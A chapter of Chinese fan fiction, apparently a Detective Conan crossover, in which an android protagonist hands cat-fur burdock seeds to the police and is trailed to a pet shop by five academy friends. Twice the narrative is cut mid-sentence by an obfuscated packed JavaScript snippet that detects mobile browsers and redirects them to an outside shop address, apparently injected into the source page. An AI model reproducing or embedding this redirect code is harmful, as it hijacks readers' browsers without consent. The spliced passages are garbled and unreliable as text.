一滴水珠从上方晾晒的制服衬衣上滴落下来，菖蒲安静地晃动一下叶片，无言而立。 这样的沉默，很快被视作了默认。 “31。齐了。” 左眼红光一闪即逝，很快恢复成原本的透明无色状态。男人将物证袋重新封口，从外套口袋里摸出一只深蓝色的手机，指尖在手机键盘上缓慢移动。 “滴滴滴。” 十分熟练地操作几下后，男人顺利解锁手机，开机，无视了提示着3封未读邮件的邮箱界面，飞快调出通话页面，输入了一串数字。 “正在呼叫中，请等待……通话已连接。” “——喂，你好？这里是目暮十三！” 小圆帽警官严肃认真的声音从电话听筒里传出。 男人看了一眼正四仰八叉瘫在沙发上打瞌睡的猫，转身去了阳台，压低声音道：“喂，您好，目暮警官，这里是知原知也。” “噢！是知原老弟啊！”目暮十三有些惊讶，“知原老弟这个时候打电话给我，是回想起了什么关键线索吗？” “……不是。” 蓝发男人、也就是知原知也，当即否定了目暮十三的猜测，转而道：“昨晚离开前，猫咪小姐也接受了搜身。搜查一课的一位警官从猫咪小姐身上发现了31个毛结。” “啊……？” “我现在把毛结打开了，从里面取出30颗苍耳种子，还有一截枯树枝。” 顿了顿，知原知也问。 “——请问您现在在警视厅吗？我现在打算把它们送过去，请问您这边是否方便接收这些重要物证？” 电话那头的目暮十三握着手机，愣了好一会儿。 “啊这、苍耳什么的其实也不算是什么重要物证啦……” 不过，目暮十三想了一会儿，到底还是没有拒绝对方的好意。 “知原老弟你把它交给一楼大厅接警处的警员就好。我现在正和组对方面商讨这起案件接下来的侦查思路，恐怕暂时抽不出时间来接待你……” “好的。没关系，工作重要。” 十分体贴地，知原知也接受了对方的提议。 披上外套、关上阳台门，知原知也很快走向玄关，准备穿鞋出门。 “咪。” 身后，一声软软的猫叫，成功引起了知原知也的注意。 知原知也一回头，发现上一秒还瘫在沙发靠垫上睡得乱七八糟的猫咪小姐，不知什么时候已经苏醒。 此刻，她正静静蹲坐在玄关矮柜之上，睁着一双清澈柔润的澄黄猫眼，一瞬不瞬凝视着知原知也的眼睛。 “……？” 知原知也迟疑地伸出手，想摸摸猫咪小姐的脑袋：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678799|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……离别贴贴吗？谢谢猫咪小姐，我会尽快回来的。” “咪嗷。” 猫咪小姐歪了歪头，躲开了知原知也的抚摸。 她看着知原知也伸向自己的手，抬爪按住，随即微一张嘴，吐出了一小片还缠裹着许多猫毛的黑色小方块。 “咪——” 猫咪小姐松开爪子，抬起头，直勾勾看着知原知也。 知原知也愣了愣，嘴角不受控制地上扬三个像素点，捏着小方块，却没将它收进口袋里。 “——并不是忘记带了。它现在属于我们，暂时不需要把它交给警察。” 这么说着，他将小方块重新推给猫咪小姐：“我去一趟警视厅，这枚记忆卡，能否麻烦猫咪小姐暂时替我保管一下呢？” 猫咪小姐歪头，有些疑惑地看着人。 半晌后，她一甩尾巴，叼着这枚记忆卡重新回到沙发垫上，将记忆卡吐在垫子上后，四爪一揣，严严实实卧倒在了记忆卡上，将其遮住。 “咪！” 十分可靠地，猫咪小姐冲知原知也沉声“喵”了几句。 知原知也弯起唇角，眼神是自己都没有发觉的柔和：“谢谢猫咪小姐，辛苦了。” “喵嗷！” 挥挥手，知原知也承诺今天会早点回家，回家时也会给猫咪小姐采购足量的猫零食后，这才依依不舍跨出公寓门。 然而，刚一走出千鸟公寓楼下的大门，毫无心理准备的智能体，就在小路的转角处，被人兜头盖上了一块黑布…… “——打劫！” 一根冰冷坚硬的东西悄无声息抵在后腰处，知原知也听见一声粗哑的声音在耳畔响起：“把你身上最值钱的东西交出来！” 知原知也：“……” “老实点！不配合的话就宰了你！” 知原知也：“……松田，早上好。今天天气不错，不太适合光天化日之下抢劫无辜路人。” 抢劫犯：“…………” 忿忿不平地一把掀掉对方头顶罩着的外套，松田阵平收回抵住对方后腰的金属香烟盒，看着表情平静没有一丝波澜的知原知也，表情疑惑中带了一丝不服气：“你到底是怎么认出我的？——别说是靠听声音啊，我刚才嗓子都快夹冒烟了！” 知原知也心说你还没靠近我的扫描系统就响了。 但这话倒也不能直接跟副本主线重要npc这么说。 想了想，知原知也找了个还算合理的理由：“路□□通指示牌的反光处，有照出你们的影子。” 松田阵平：“……” 松田阵平身后、正跃跃欲试企图伪装绑架犯吓唬自家小伙伴的四人：“…………” 恐吓行动，大失败！ …… 绑架小伙伴未果，五人垂头丧气地，被预定受害人领到了附近一家咖啡店里落座。 “——你们来找我，有什么事吗？” 十分体贴地替几人点好饮品，知原知也开门见山问。 伊达航有点尴尬地摸了摸鼻尖：“呃，就是昨天的事……我们的稍微有些问题想要问问知原君，不知道方不方便……” 知原知也想了想：“我还没来得及签保密协议。” 言下之意是——要问什么问题，趁现在赶紧问！ “……” 五人彼此对视了一眼。 片刻后。 降谷零默默举起手，辅以死亡凝视与核善微笑，问： “知原君，请问一下——你昨天晚上，到底是什么时候走丢的呢？” 29.你们，到底是来干什么的 知原知也怔了一下。 原本他还以为，这几位人类这么气势汹汹来“绑架”自己，或许是打算逼问自己昨晚那起枪击案的细节，又或许是想打探一下自己与有理小姐最后的交谈内容。 但，他却是怎么也想不到，几人大清早在公寓楼外蹲守自己的目的，居然就仅仅只是为了问这么一句可有可无的话。 这可真是…… 知原知也仔细回忆了一阵，认认真真回答：“在路过东平路第二个岔路口的时候。” 东平路第二岔路口？ 降谷零若有所思。 那个位置，算起来距离春湖公园还有不少距离……所以说知原知也这家伙，该不会在一开始就准备好溜号了吧？！ 迎着对方倏然不善的眼神，知原知也感觉自己后脊微微一凉。 他面无表情，强压下自己下意识飘忽的眼神，沉稳道：“在第二岔路口过马路的时候，车流量很大，视角不好。一不小心，就丢失了你们的方位。” ——所以不是故意撇开你们、单独行动的。 智能体试图用自己诚恳真挚的眼神，向人类传达这个意思。 然而无果。 五位人类的眼里，只能看到一个沉默寡言的冷峻酷哥，正用一种仿佛在看死人一般的冰冷无情、毫无波动的眼神，威胁自己闭嘴不要多问。 知原知也：“……” 五人：“……” 就这样面面相觑了十分钟。 十分钟后，端着托盘的侍应生小姐一步一挪，战战兢兢挤入了这个气氛诡异的小角落。 “您、您好，您点的咖啡……” 感受到那个蓝毛大帅哥甩过来的冷冰冰的眼刀子，侍应生小姐颤巍巍地放下托盘，欲哭无泪。 ——她感觉这一桌没有一个是好人！ 看看这一桌都是些什么人吧—— 气质凶恶、杀人如麻的极道大哥，花里胡哨、助纣为虐的二世祖，沉默寡言、冰冷麻木的冷面杀手，笑里藏刀、伤人无形的二把手军师，还有金发黑皮、身手高强的外国雇佣兵，以及一位身材魁梧的武斗派打手…… ——已经属于是一个架构非常完整的小型极道帮派了！ 火速放下六杯咖啡，脑洞略大的侍应生小姐甚至连招呼都没来得及打，抄起托盘，飞快远离了这片是非之地。 “……”知原知也摸了摸自己差点被对方慌乱之下挥舞托盘砸到的脑袋。 还好。 仿真皮没破，没露出皮下的机械骨骼。 知原知也将咖啡往前推了推：“喝。” 然后飞快端起属于自己的那一杯，若无其事地吹了吹热气，慢吞吞啜饮了起来。 ——心虚感都快要溢出屏幕了啊，知原君。 诸伏景光悄悄弯起眼角。 和降谷零交换了一个眼神后，诸伏景光抬手取过自己的那杯摩卡，捏着咖啡匙轻轻搅了搅，浅抿一口后，温声问：“今天不是休息日吗？知原君起的好早。” “因为要送东西到警视厅。” “给警视厅的？”松田阵平竖起了耳朵，端过自己那杯美式，“什么东西？” 知原知也没说话，只是放下咖啡杯，从自己的机车服外套里，摸出一只透明的物证袋，轻轻摆放到了桌面上。 五人顿时不约而同地低下头，凑近细看。 “这是……苍耳吗？” 伊达航看了看物证袋里密密麻麻包裹着的棕黑色果实，以及果实上间或缠绕着的几根没来得及剥离的猫毛，笑了起来：“是昨晚在猫咪小姐身上发现的那些苍耳吗？” “是的，”知原知也面无表情地认真点了点头，“全部取下来了。是重要物证，等下要送去警视厅。” 萩原研二迟疑：“这么多苍耳，全部缠在了毛毛里……知原该不会是一夜没睡，熬夜给猫咪小姐梳毛开结了吧？” 知原知也：“……” 萩原研二顿时睁大眼，震惊地看向垂眸品咖啡的小伙伴：“居然被我猜对了吗？知原你一夜没睡，都不会困的吗！” 这么说着，他仔仔细细端详了一阵知原知也的脸颊。 两分钟后。 萩原研二泪眼汪汪开始咬手帕，哭晕在幼驯染肩头：“呜呜呜小阵平，知原熬了一晚没睡，脸蛋还是这么完美，就连黑眼圈和肿眼泡都没有……研二酱好嫉妒……” 松田阵平半月眼，非常嫌弃地拐了假哭的幼驯染一肘子：“你够了，这是天赋，你羡慕不来。” “——天赋？就比如知原君出厂自带的腹肌吗？” 降谷零意味深长看向松田阵平。 松田阵平登时大怒，黑着脸，脚下用力踹向降谷零的方向，然而准头略歪，不小心踢到了坐降谷零旁边的伊达航的膝盖； 伊达航拍案而起，愤而谴责松田阵平殃及池鱼； 萩原研二这会儿也顾不上假哭了，两边煽风，四处点火，满脸写着[打起来打起来，我要看到血流成河]jpg； 眼瞅着局面逐渐失控，诸伏景光尝试出面调停，阻止这场纷争，无果，并被恼羞成怒之下开启无差别扫射模式的某人贴脸开大，嘲讽训练不够努力、甚至抱不起一只区区23斤的超级大胖猫，于是勃然大怒，一撸袖子加入了战团…… 小小的咖啡桌上顿时硝烟四起，战火纷飞。 在一片混乱中，纷争的源头却独自岁月静好，正端着一杯卡布奇诺，慢吞吞品味。 ——可谓是泰山崩于前而色不改了。 暗戳戳关注这一桌客人的侍应生小姐突然觉得，自己对于这个小型极道社团的定位，也许该变一变。 或许这位染着一头非主流蓝毛、脸上纹有奇异折线纹身的男人，并不是什么沉默寡言、冰冷麻木的冷面杀手，而是不动声色间巧妙引导众人产生纷争，而自己则置身事外、独善其身的首脑型角色！ 制衡之道，不外如是！ ——这也许才是真正的极道之主所怀有的器量！ 侍应生小姐双手托脸，看着知原知也遗世独立、岁月静好的背影，如此信誓旦旦地想。 …… 在战火进一步升级、被愤怒的店老板当场扫地出门之前，六人各自喝完了自己的那杯咖啡，你推我搡地走出了这家咖啡店。 侍应生小姐站在门内，舒了口气。 门外的知原知也也几乎同时长松了口气。 ——确定了，智能体真的不擅长说谎。 但凡人类再多问几句，完全没有搭载过反审讯模块的知原知也，就险些要原地自爆，把自己追踪有理小姐、获取记忆卡的全部过程一五一十从实招来了…… 还好还好。 向左一步错开降谷零挥向这边的拳头，知原知也摸了摸自己的外套口袋，沉声说：“我去警视厅……” “——一起啊！”x5 知原知也：“…………” 跑路失败。 一位智能体于是闭上了嘴，本就漠然冷峻的气质中，微妙地透露出一丝幽怨，沉默地，带着五个一路还在菜鸡互啄的人类们，步履沉重地迈向警视厅…… 40分钟后。 顺利抵达警视厅大楼，知原知也来到一楼大厅接警处，将自己揣了一路的透明物证袋，珍而重之地交到了接警小哥的手里。 接警小哥看了眼袋子里的苍耳，有些摸不着头脑。 他半开玩笑地说：“知原先生今天来警视厅，居然不是录笔录，而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684099|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上交失物的吗？” 知原知也沉默一瞬，没有解释自己其实昨天晚上就已经在现场录过笔录了，只说：“这是重要物证，烦请帮忙转交给搜查一课的目暮警官。” 重要物证？ 接警小哥当即秒懂。 “——噢、昨晚的枪击案是吧？哎呀，没想到昨晚那起几年难得一遇的‘震惊警视厅の大规模极道活动’也被知原先生碰上了……看来知原先生的事故体质，已经升级了啊！” 知原知也：“……” 知原知也默默看着接警小哥。 ——人，你讲话真不中听。 讲话不中听的接警小哥笑嘻嘻和知原知也挥手：“东西收到啦，辛苦知原先生跑一趟了！我等会儿换班的时候就去搜查一课的办公区送交物证，知原先生放心吧！” 知原知也沉默点头，有些勉为其难地道了声谢，随即转身离开。 …… 跨出警视厅大楼之后，知原知也正准备左拐前往不远处的一家宠物用品专卖店，然而下一秒，他一低头。 ——脚下，属于自己的影子身边，悄无声息多出了五道影子。 知原知也猛然回头！ “……” “……” 知原知也眼含疑惑：“……不是说要去警视厅吗？怎么还跟在我身后。” 五个四十分钟前还在你来我往菜鸡互啄的人类警校生，此刻正像做贼一样，大白天的狗狗祟祟跟在自己身后，不知道的还以为尾随犯的犯罪活动已经升级成群体性-行为了。 见知原知也回头，松田阵平一挺胸膛，理直气壮：“是去警视厅没错啊，但刚才我们不是已经去过了吗？” ……好像是这个理。 不善言辞的智能体无从反驳，沉思良久，只好点了点头，认可了这个说法。 “我知道了。” 努力无视身后五个头顶【重要npc】buff的身影，知原知也穿过马路，左拐，径直走进了路边一家宠物用品专卖店。 跟踪行为被发现，五个人索性也不装了，亦步亦趋跟在知原知也身后，明目张胆跟对方一起逛宠物超市。 猫罐头，拿五提。 猫条，买十盒送一盒，很划算的样子……先拿三十盒。 猫粮……这个算了，猫咪小姐不爱吃，只喜欢吃自己亲手做的鸡胸肉猫饭。 …… 知原知也一丝不苟，认真挑选。 手里提着的购物篮逐渐被装满。 萩原研二看了一眼对方被袖口遮住的右手手腕，回想起对方之前住院时的场景，上前两步，十分主动地帮忙拎过购物篮，并体贴建议：“这个篮子已经装不下了哦，我看到前面有空篮放置处，知原快去再拿一个~” 知原知也：“……” 他们之间……已经亲密到这个程度了吗？ 知原知也疑惑。 关系发展是不是有点太快了……？还是说这也是人类常态化社交行为之一吗…… 默默看了一眼笑容明快、言行亲昵，毫无社交距离感可言的命名者萩原研二，知原知也没有多说什么，依言慢吞吞上前，拿起一只新的购物篮拎在手里，然后转头去了旁边，开始选购猫咪小姐的洗护用品和猫玩具。 装满的购物篮被萩原研二提走了，余下四人谁也没养过猫，也提不出什么建设性的建议，于是只好跟在知原知也身边，装模作样对着知原知也看过洗护用品的配方指指点点。 在第4次被松田阵平问起“猫咪沐浴露为什么会有去油成分、难道猫咪也和人一样分油皮干皮敏感肌吗”之后，知原知也转过头，沉默地看向忽然僵住的五个人。 “……你们，到底是来干什么的。”